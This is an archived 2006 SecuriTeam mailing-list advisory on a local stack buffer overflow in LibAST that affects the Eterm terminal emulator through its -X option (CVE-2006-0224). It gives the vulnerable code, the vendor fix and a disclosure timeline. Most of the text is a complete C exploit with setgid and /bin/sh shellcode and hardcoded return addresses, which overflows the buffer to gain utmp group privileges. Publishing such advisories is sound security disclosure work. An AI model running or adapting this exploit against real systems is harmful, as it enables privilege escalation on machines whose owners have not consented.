

# [UNIX] Eterm Local Buffer Overflow

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00098.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxxx)>
  - *Date:* 30 Jan 2006 11:06:16 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Eterm Local Buffer Overflow

---

## SUMMARY

" <<http://www.eterm.org/>> Eterm is a color vt102 terminal emulator intended as a replacement for xterm."

Lack of length validation in eterm allows local attackers to cause the program to execute arbitrary code using local buffer overflow with "utmp" group privileges.

## DETAILS

Vulnerable Systems:

\* Eterm version 0.6 and prior

Immune Systems:

\* Eterm version 0.7 and above

Eterm is compiled and linked to LibAST. A stack overflow vulnerability exists in LibAST that allows an attacker to execute commands with user group utmp. The vulnerability is triggered when using an alternative configuration file name by the '-X' option.

## [UNIX] Eterm Local Buffer Overflow

In this case Eterm will call `conf_find_file()` in `conf.c` from LibAST. Here is where vulnerability takes place at:

```
if (dir) {  
strcpy(name, dir);  
strcat(name, "/");  
strcat(name, file);  
}
```

### Vendor Status:

The vendor has released the following new package of LibAST to fix the problem: <<http://www.eterm.org/download/libast-0.7.tar.gz>>  
<http://www.eterm.org/download/libast-0.7.tar.gz>

### CVE Information:

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0224>>  
CVE-2006-0224

### Disclosure Timeline:

15/01/2006 Initial Vendor Contact  
16/01/2006 Initial Vendor Response  
23/01/2006 Coordinated public disclosure

### Exploit:

```
/******  
* Copyright Rosiello Security 2006 *  
* *  
* URL: http://www.rosiello.org *  
* Author: Johnny Mast *  
* e-mail: rave@xxxxxxxxxxxx *  
* *  
* This program is free software; you can redistribute it and/or modify *  
* it under the terms of the GNU General Public License as published by *  
* the Free Software Foundation; either version 2 of the License, or *  
* (at your option) any later version. *  
* *  
* This program is distributed in the hope that it will be useful, *  
* but WITHOUT ANY WARRANTY; without even the implied warranty of *  
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *  
* GNU General Public License for more details. *  
* *  
* You should have received a copy of the GNU General Public License *  
* along with this program; if not, write to the *  
* Free Software Foundation, Inc., *  
* 59 Temple Place – Suite 330, Boston, MA 02111-1307, USA. *  
*****/
```

```
//Exploit for Ubuntu with no randomized stack
```

```
#include <stdio.h>  
#include <stdlib.h>
```

## [UNIX] Eterm Local Buffer Overflow

```
#include <string.h>
#include <unistd.h>

char shellcode[] =
/* Set gid */
"\x90\x90\x90\x90\x90\x90"
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x2b\x31\xc0\xb0\x47\xcd\x80"
"\x31\xdb\x31\xc9\xb3\x2b\xb1\x2b\x31\xc0\xb0\x47\xcd\x80"

/* execve() */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long ret = 0xd096edb7;
unsigned long shell = 0xbfffebfd;

int main(void)
{
char *first, *last, *ptr;
char a[4], b[4];
int slen = strlen(shellcode);

if (!(first = (char *)malloc(4165)))
{
printf("%s:%d Could not allocate required memory\n", __FILE__,
__LINE__);
exit(-1);
}

if (!(last = (char *)malloc(16)))
{
printf("%s:%d Could not allocate required memory\n", __FILE__,
__LINE__);
exit(-1);
}

if (!(ptr = (char *)malloc(4183)))
{
printf("%s:%d Could not allocate required memory\n", __FILE__,
__LINE__);
exit(-1);
}

strcpy(first, shellcode);
memset(first+slen, 'A', 4162-slen);
memset(last, 'A', 12);
first[4162] = '\0';
last[12] = '\0';

a[0] = (ret >> 24) & 0xff;
```

## [UNIX] Eterm Local Buffer Overflow

```
a[1] = (ret >> 16) & 0xff;
a[2] = (ret >> 8) & 0xff;
a[3] = (ret) & 0xff;

b[0] = (shell >> 24) & 0xff;
b[1] = (shell >> 16) & 0xff;
b[2] = (shell >> 8) & 0xff;
b[3] = (shell) & 0xff;

sprintf(ptr, "%s%c%c%c%c%c%s%c%c%c%c", first,a[0],a[1], a[2], a[3], last,
b[3],b[2],b[1],b[0]);

execl("/usr/bin/Eterm", "eterm", "-X", ptr, NULL);
return 0;
}

/* EoF */
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:angelo@xxxxxxxxxxxxx>> Angelo.

The original article can be found at:

<[http://www.rosiello.org/en/read\\_bugs.php?id=25](http://www.rosiello.org/en/read_bugs.php?id=25)>

[http://www.rosiello.org/en/read\\_bugs.php?id=25](http://www.rosiello.org/en/read_bugs.php?id=25)

The exploit can be found at:

<<http://www.rosiello.org/archivio/eterm-exploit.c>>

<http://www.rosiello.org/archivio/eterm-exploit.c>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@xxxxxxxxxxxxx](mailto:list-unsubscribe@xxxxxxxxxxxxx)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@xxxxxxxxxxxxx](mailto:list-subscribe@xxxxxxxxxxxxx)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

---

• Prev by Date: [\*\[REVS\] Hacking with the Google Search Engine\*](#)

## [UNIX] Eterm Local Buffer Overflow

- Next by Date: [\*\[EXPL\] imap4d Buffer Overflow \(LOGIN, Exploit\)\*](#)
- Previous by thread: [\*\[REVS\] Hacking with the Google Search Engine\*](#)
- Next by thread: [\*\[EXPL\] imap4d Buffer Overflow \(LOGIN, Exploit\)\*](#)
- Index(es):
  - ◆ [\*Date\*](#)
  - ◆ [\*Thread\*](#)